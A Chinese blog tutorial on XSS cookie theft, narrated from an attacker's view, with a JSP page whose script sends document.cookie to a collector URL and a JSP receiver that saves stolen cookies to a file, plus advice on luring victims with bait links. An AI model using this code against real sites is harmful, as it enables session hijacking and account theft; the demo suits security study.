引入：

上文中我们的例子是研究了来自内部的XSS攻击，通过输送一段有害js代码到受害者的机器，让其在受害者的域上运行这段有害JS代码来得到入侵目的。现在我们来看下来自外部的XSS攻击。

实践：

下面还是按照惯例，我用白话文来解释下什么是来自外部的XSS攻击。

假设我是攻击者，A是受害者，我知道A有个习惯，他会经常去某个奢侈品消费网站登录，然后每次登录用他的积分买很多东西，我没钱，我想通过A的账号 密码登录同样的网站，然后用他的积分去买东西给我自己。显然因为A知道我是受害者，所以我直接问A要账号密码，他肯定会报警的，怎么办呢？

这时候，我知道A经常在同一机器上登录，然后Cookie信息会存放在他那台机器的本地，于是，我就想办法植入一段恶意脚本在哪个奢侈品网站上，因 为A每次登录，它的信息都会存在Cookie中，然后我的恶意脚本就会每次从他的Cookie中读取信息，然后发送到我自己架设的服务器上，然后我自己架 设的服务器有一段代码会吧这个Cookie信息存放在本地的一个私密的文本文件中，这样他每次登录，我就能在我本地的文本文件中知道A的Cookie信息 了。当然了，为了触发那段恶意脚本，我必须确保A会点击我要的有恶意脚本的链接，我肯定会伪装一下，比如还是最常用的美女图片。

好，我们开始例子：

首先，我会在自己的磁盘目录上创建一个文本文件，比如说D:\privateLocation\stealCookieFile.txt

这个文件的作用是专门用来存储我盗取A的Cookie信息的。

然后，我就开始伪造一个带有恶意脚本的页面了：

<%@ page language="java" contentType="text/html; charset=UTF-8"
    pageEncoding="UTF-8"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>受害者页面，这个页面后台有XSS漏洞</title>
</head>
<script type="text/javascript">
//创建一个cookie
function createCookie(username,password){
    console.log("invoking createCookie(username,password) method");
    //设置cookie的到期时间,假设30天后到期
    var expires =new Date();
    expires.setTime(expires.getTime()+30*24*3600*1000);
    var expireInfo="expires="+expires.toUTCString();
                                                                                                                                                                                                                                                                                                                                                                                                    
    document.cookie=username+"="+password+";"+expireInfo;
    console.log("current cookie:"+document.cookie);
}
//盗用cookie
 function stealCookie(){
     window.open('http://localhost:8080/XSSDemo/xss_victom2.jsp?cookie='+document.cookie)
 }
</script>
<body>
<form  method="post">
<p>
<span>用户名：charles，密码 123456</span>
<span>假定用户点击下面按钮会触发新建一个cookie并且存入,点击更下面一个按钮会盗用刚创建的cookie</span>
</p>
<input type="button" value="点击按钮会创建一个新cookie"  type="button" value="点击按钮会盗用当前的cookie" onclick="stealCookie()"/>
</form>
</body>
</html>

为了简单起见，假设这个页面是这个奢侈品网站的页面，为了模拟登录，我提供了2个按钮，假设点击第一个按钮会创建一个当前用户Cookie（或者自 动登录就是直接从Cookie中拿取用户信息），默认情况下，一般用户都会去登录页面的， 所以我这里也假定默认第一个按钮用户肯定会点的，然后第二个按钮是重点，它的背后会有一段恶意脚本，来盗取当前用户的Cookie.

然后在我盗取A的Cookie后，我得吧这个用户A的Cookie信息存起来到我的本地，以便下次我可以利用他的信息进行登录同样网站来买东西。

<%@ page language="java" contentType="text/html; charset=UTF-8"
    pageEncoding="UTF-8"%>
<%@page import="java.io.FileOutputStream,java.io.File,java.io.IOException" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>XSS盗用Cookie的Demo</title>
</head>
<body>
<%
//首先构造一个路径，这路径上的文本文件专门用来存放盗用的cookie
String stealCookieFile = "D:/privateLocation/stealCookieFile.txt";
out.println("准备存入盗取的cookie信息到:"+stealCookieFile+"<br>");
//获取提交过来的cookie值
String cookie= request.getParameter("cookie");
out.println("cookie信息:"+cookie+"<br>");
FileOutputStream fos = new FileOutputStream( new File(stealCookieFile));
try{
    fos.write(cookie.getBytes());
}catch(IOException ex){
    out.println("写入失败");
}finally{
    if(fos!=null){
        fos.close();
    }
}
%>
</body>
</html>

有了上述的1个文本文件和2个JSP代码之后，我们就可以来Demo了。

首先，我创建了恶意页面，假定用户已经登录了，为了模拟这种情况，需要用户点击第一个按钮：

从Console看出，已经点击了第一个按钮，这时候，其状态就相当于有一个Cookie:  charles=123456，这个信息存在在A的本地了。

现在，我要诱惑A去点击第二个按钮（假设是一个美女图片或者是非常吸引人的消息） ，当A点击了第二个按钮之后，他上当了，他的这个Cookie信息被我正确的拿到并且存放在我的本地文件中：

我去检查本地文件，果然发现A的Cookie信息被正确拿到了：

总结：

所谓外部的XSS攻击，其实是通过让用户执行一段恶意脚本，然后这段脚本会吧敏感信息偷偷的“偷”出来，然后放入攻击者的想要的地方，这些敏感信息 可以是Cookie,user-agent或者其他的，反正js能拿到的信息，这里都可以，如果攻击者很恶意，他就可以拿到这些信息去做一些非法事情。打 个不恰当的比方，比如我（入侵者）要窃取某个国家（受 害者）的战时绝密情报（比如Cookie信息），但是因为他们国家防范措施太好（同源策略） ，我没办法直接拿到，于是我买通了他们国家某个人（比如色情图片链接），然后约定每当该国家发布情报时候（也就是受害者访问某网站），就把这个情报（对应 Cookie）丢到某个指定情报交换位置（我架设的另外一台服务器），然后我从那个位置中获取这个情报（从请求对象中获取Cookie信息），然后解析它 （读取Cookie），并且存放到我自己的情报库中（我本地的私密文件中）。

XSS研究1-来自外部的XSS攻击的更多相关文章

  1. XSS研究2-来自内部的XSS攻击的防范

    引入: 前面我们分2篇文章分别探讨了来自外部的XSS攻击和来自内部的XSS攻击,现在我们来专门探讨如何防范来自内部的XSS攻击.   实践:  http://www.cnblogs.com/crazy ...

  2. 来自内部的XSS攻击的防范

    来自内部的XSS攻击的防范 引入:前面我们分2篇文章分别探讨了来自外部的XSS攻击和来自内部的XSS攻击,现在我们来专门探讨如何防范来自内部的XSS攻击. 实践:其实从 http://www.2cto ...

  3. XSS与CSRF两种跨站攻击比较

    XSS:跨站脚本(Cross-site scripting) CSRF:跨站请求伪造(Cross-site request forgery) 在那个年代,大家一般用拼接字符串的方式来构造动态SQL 语 ...

  4. 总结 XSS 与 CSRF 两种跨站攻击

    前言 在那个年代,大家一般用拼接字符串的方式来构造动态 SQL 语句创建应用,于是 SQL 注入成了很流行的攻击方式.在这个年代, 参数化查询 [1] 已经成了普遍用法,我们已经离 SQL 注入很远了 ...

  5. 总结XSS与CSRF两种跨站攻击

    XSS:跨站脚本(Cross-site scripting),实际应是"CSS",但由于和层叠样式表CSS名称冲突,故改为"XSS" CSRF:跨站请求伪造(C ...

  6. XSS 与 CSRF 两种跨站攻击

    在前几年,大家一般用拼接字符串的方式来构造动态 SQL 语句创建应用,于是 SQL 注入成了很流行的攻击方式, 但是现在参数化查询 已经成了普遍用法,我们已经离 SQL 注入很远了.但是历史同样悠久的 ...

  7. XSS与CSRF两种跨站攻击总结

    在那个年代,大家一般用拼接字符串的方式来构造动态 SQL 语句创建应用,于是 SQL 注入成了很流行的攻击方式.在这个年代, 参数化查询 [1] 已经成了普遍用法,我们已经离 SQL 注入很远了.但是 ...

  8. 二十五：XSS跨站值原理分类及攻击手法

    HTML DOM树 XSS跨站产生原理,危害,特点 本质,产生层面,函数类,漏洞操作对应层,危害影响,浏览器内核版本 XSS是什么? XSS全称跨站脚本(Cross Site Scripting),为 ...

  9. XXE(XML External Entity attack)XML外部实体注入攻击

    导语 XXE:XML External Entity 即外部实体,从安全角度理解成XML External Entity attack 外部实体注入攻击.由于程序在解析输入的XML数据时,解析了攻击者 ...

随机推荐

  1. `define、parameter、localparam三者的区别

    `define: 可以跨模块的定义,写在模块名称上面,在整个设计工程都有效.一旦'define指令被编译,其在整个编译过程中都有效.例如,通过另一个文件中的`define指令,定义的常量可以被其他文件 ...

  2. Java中集合框架，Collection接口、Set接口、List接口、Map接口，已经常用的它们的实现类，简单的JDK源码分析底层实现

    (一)集合框架: Java语言的设计者对常用的数据结构和算法做了一些规范(接口)和实现(实现接口的类).所有抽象出来的数据结构和操作(算法)统称为集合框架. 程序员在具体应用的时候,不必考虑数据结构和 ...

  3. activiti 5.15.1 动态手动通过java编码方式，实现创建用户任务，动态指定个人，用户组，角色，指定监听的实现

    因为我们的业务需要,最近一直在搞动态动过java程序实现为用户任务绑定监听程序.碰了很多壁,查看了API文档,最后终于在找到解决办法,所以贴出来,希望能够留个底,也能帮助有需要的人. -------- ...

  4. 修改Gradle 和Maven本地仓库的位置 方法

    关于Maven的配置: 用过Maven的兄弟应该知道Maven可以通过配置 conf文件夹下面的settings.xml文件来修改maven下载的包,默认是下在c盘的用户文件夹下的.m2中,日积月累. ...

  5. php基础知识--2017-04-14

    1.Php的两种打开方式: 第一种方式:http://localhost/0414/qq.php 第二种:新建站点,选到www目录.点击服务器----+添加-------选择本地网络   ------ ...

  6. 非负矩阵分解（4）：NMF算法和聚类算法的联系与区别

    作者:桂. 时间:2017-04-14   06:22:26 链接:http://www.cnblogs.com/xingshansi/p/6685811.html 声明:欢迎被转载,不过记得注明出处 ...

  7. TomCat杀进程

    有时候当你的tomcat启动时会发现 因为报以下的错误: "Several ports ( 8080, 8009) required by Tomcat v6.0 Server at loc ...

  8. ADO.NET 参数化查询

    参数化查询 使用参数化查询的情景有很多,但最常用的情景是需要用户在查询中进行输入的情况. 有两种方法可供使用.第一,可以讲用户输入嵌入到查询字符串中,例如可能使用.NET Framework中的Str ...

  9. ASP.NET WebForm

    ASP.NET WEBFORM Aspx aspx文件(新建项→Web窗体) .在aspx中可以使用<%=表达式%>的方式在页面的当前位置输出表达式(表达式至少要用protected级别, ...

  10. .Net Core Session使用

    Sessiong 添加程序集 Microsoft.AspNetCore.Session 在Startup.cs 的 ConfigureServices中添加Session中间件设置 // sessio ...